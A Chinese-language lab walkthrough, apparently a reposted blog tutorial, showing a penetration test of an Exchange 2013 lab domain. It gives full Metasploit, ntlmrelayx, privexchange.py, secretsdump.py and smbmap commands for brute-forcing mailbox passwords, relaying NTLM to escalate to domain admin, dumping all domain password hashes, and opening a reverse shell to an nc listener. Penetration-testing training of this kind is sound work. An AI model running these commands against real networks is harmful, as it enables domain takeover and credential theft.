网络安全——使用Exchange SSRF 漏洞结合NTLM中继进行渗透测试

使用Exchange SSRF 漏洞结合NTLM中继进行渗透测试

第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机IP地址:

Kali Linux

Windows 2012-1

Windows 2012-2

由于Windows 2012-2安装了Exchange Server 2013,所以开机会比较慢,请耐心等待10-20分钟。登录Windows 2012-1时需将密码改为p@ssw0rd1。

另外时钟不同步将导致用户无法登陆ECP(控制面板),我们在服务器的桌面上存放有一个文本,包含了用于联网同步域控服务器与邮件服务器时钟的命令,在开始实验前,务必先执行此命令联网同步两个服务器的时钟。(w32tm /config /manualpeerlist:"cn.pool.ntp.org tw.pool.ntp.org" /syncfromflags:manual /reliable:yes /update)具体步骤如下:

1.打开文本后复制第二行的命令至命令提示符并执行,注意此操作需要联网进行;

2.设置域控服务器中DNS服务器,为邮件服务器做正向解析,若出现无法解析DNS,可通过使用命令ipconfig /flushdns来清空DNS缓存记录。

第二步,进入Kali渗透机使用命令route add default gw 172.16.1.200 eth0添加一条默认路由至域控服务器,(需根据实际分配到的域控IP地址来添加)然后使用命令route -n查看当前路由表,

修改/etc/resolv.conf文件,将nameserver指向域控所在的ip地址,

这样就能使渗透机Kali Linux能够访问域网络。接下来我们使用nmap扫描器进行惯例的扫描,结果如下:(只截取部分关键信息)

发现目标服务器中存在smtp服务,安装有Microsoft Exchange邮件服务,枚举出的操作系统版本为Windows Server2012 R2,这也与我们的实际情况相同。

第三步,通过Exchange的用户交互接口(owa/ews)来枚举目标Exchange服务的弱口令账户,使用命令msfconsole启动metasploit渗透测试平台,使用命令search owa_ews_login搜索暴力枚举模块,通过返回的结果得到模块的完整路径为:auxiliary/scanner/http/owa_ews_login,

接下来在终端中输入:

-- msf > use auxiliary/scanner/http/owa_ews_login

-- msf auxiliary(owa_ews_login)>set RHOSTS Mail.pyseclabs.com

-- msf auxiliary(owa_ews_login)>set USERNAME admin

-- msf auxiliary(owa_ews_login)>set PASS_FILE 2.txt

-- msf auxiliary(owa_ews_login)>exploit

进行关键参数的配置,设置目标靶机地址、用户名(admin)、密码字典

得到Exchange弱口令账户的用户名和密码。接下来尝试使用该账户访问Exchange页面—https://Mail.pyseclabs.com/owa,注意再账户名前面需加上域名。

登录成功后,发现该邮箱账户可能为服务搭建完成后留存下来的测试账户,

通常邮箱服务的渗透会围绕着社工渗透测试展开,为了提升员工安全意识,在某些渗透测试时,往往还会要求渗透测试人员对企业内的邮箱账户做邮件钓鱼测试。钓鱼邮件内容不限,可以自由发挥,如复制 owa 界面制作钓鱼页面等。当然本次课程中的渗透测试主要围绕Exchage邮箱服务器的SSRF漏洞来展开,对于社工不在此展开。

第四步,首先在本机启动NTLM中继,进入/root/impacket-master/目录中,

进入impacket-master的examples目录,使用命令python ntlmrelayx.py -t ldap://pyseclabs.com --escalate-user admin,

其中pyseclabs.com为域的名称,--escalate-user的参数是Exchange的普通权限的用户名,也就是之前获得的普通用户的用户名。

第五步,执行提取脚本,进入/root/PrivExchange-master/目录,找到提权脚本Privexchange.py<

使用命令python privexchange.py -ah 172.16.1.100 Mail.pyseclabs.com -u admin -p “p@ssw0rd1” -d pyseclabs.com

其中,参数-ah为指定渗透机的地址,后接Exchange服务器在域中的名称或IP地址,因此这里为172.16.1.100 Mail.pyseclabs.com,参数-u指定需要提权的Exchange的普通权限的用户名,参数-p指定Exchange的普通权限用户的密码;参数-d指定域的名称。若攻击成功,我们在回显信息中可以看到API call was successful的提示。实验到这一步,用户admin已经在pyseclabs.com域内拥有了高权限,接下来我们来到处域内所有用户的哈希值。

第六步,进入/root/impacket/examples目录中,找到导出hash信息的脚本secretsdump.py,

使用命令python secretsdump.py pyseclabs.com/[email protected] -just-dc,并输入用户admin的密码p@ssw0rd1,

该工具在域渗透测试的过程中导出域内的hash是非常轻易的,当我们已经是域管理员权限时,就可以实现提取所有域内用户的密码哈希以进行离线破解和分析,这是非常常见的一个操作。这些哈希值存储在域控制器(NTDS.DIT​​)中的数据库文件中,并带有一些其他信息,如组中成员身份和用户。在得到域内用户的用户名和密码哈希后,可以使用常见密码破解程序进行破解,例如John the Ripper和Hashcat。为简化实验的流程,接下来我们直接通过hash传递攻击来反弹域管理员的shell到本地。

第七步,拿到管理员用户的hash后,尝试进行反弹shell利用,我们利用Kali Linux中内置的工具smbmap来进行实验。首先使用命令nc -lnvp 1886监听本地的端口,

另开一个终端使用命令,找到位于/root目录下的smb-hash.txt文件,使用vim编辑器打开查看一下,其中内容如下:

该代码来源于github网站——https://github.com/ShawnDEvans/smbmap

内容比较长,实际的功能是通过smbmap能远程执行命令的特性,运行一个具有反弹shell能力的Powershell脚本,简单介绍一下:

其中,参数-d指定域的名称:pyseclabs.com,参数-u指定域内用户的用户名:administrator,参数-p指定高权限用户密码的hash值:值省略,参数-H指定域控制器的ip地址:172.16.1.200,参数-x后面执行的命令:命令省略,参数AttackIP即为渗透机的ip地址,port为渗透机监听的端口。

命令修改完成后如下:(hash值暂缺)

填充hash值后执行:

命令执行成功后,我们回到nc监听的终端中观察,

会话成功建立。后面的渗透步骤我们可以配合Meterpreter一起使用。

猜你喜欢

转载自blog.csdn.net/qq_48609816/article/details/125938266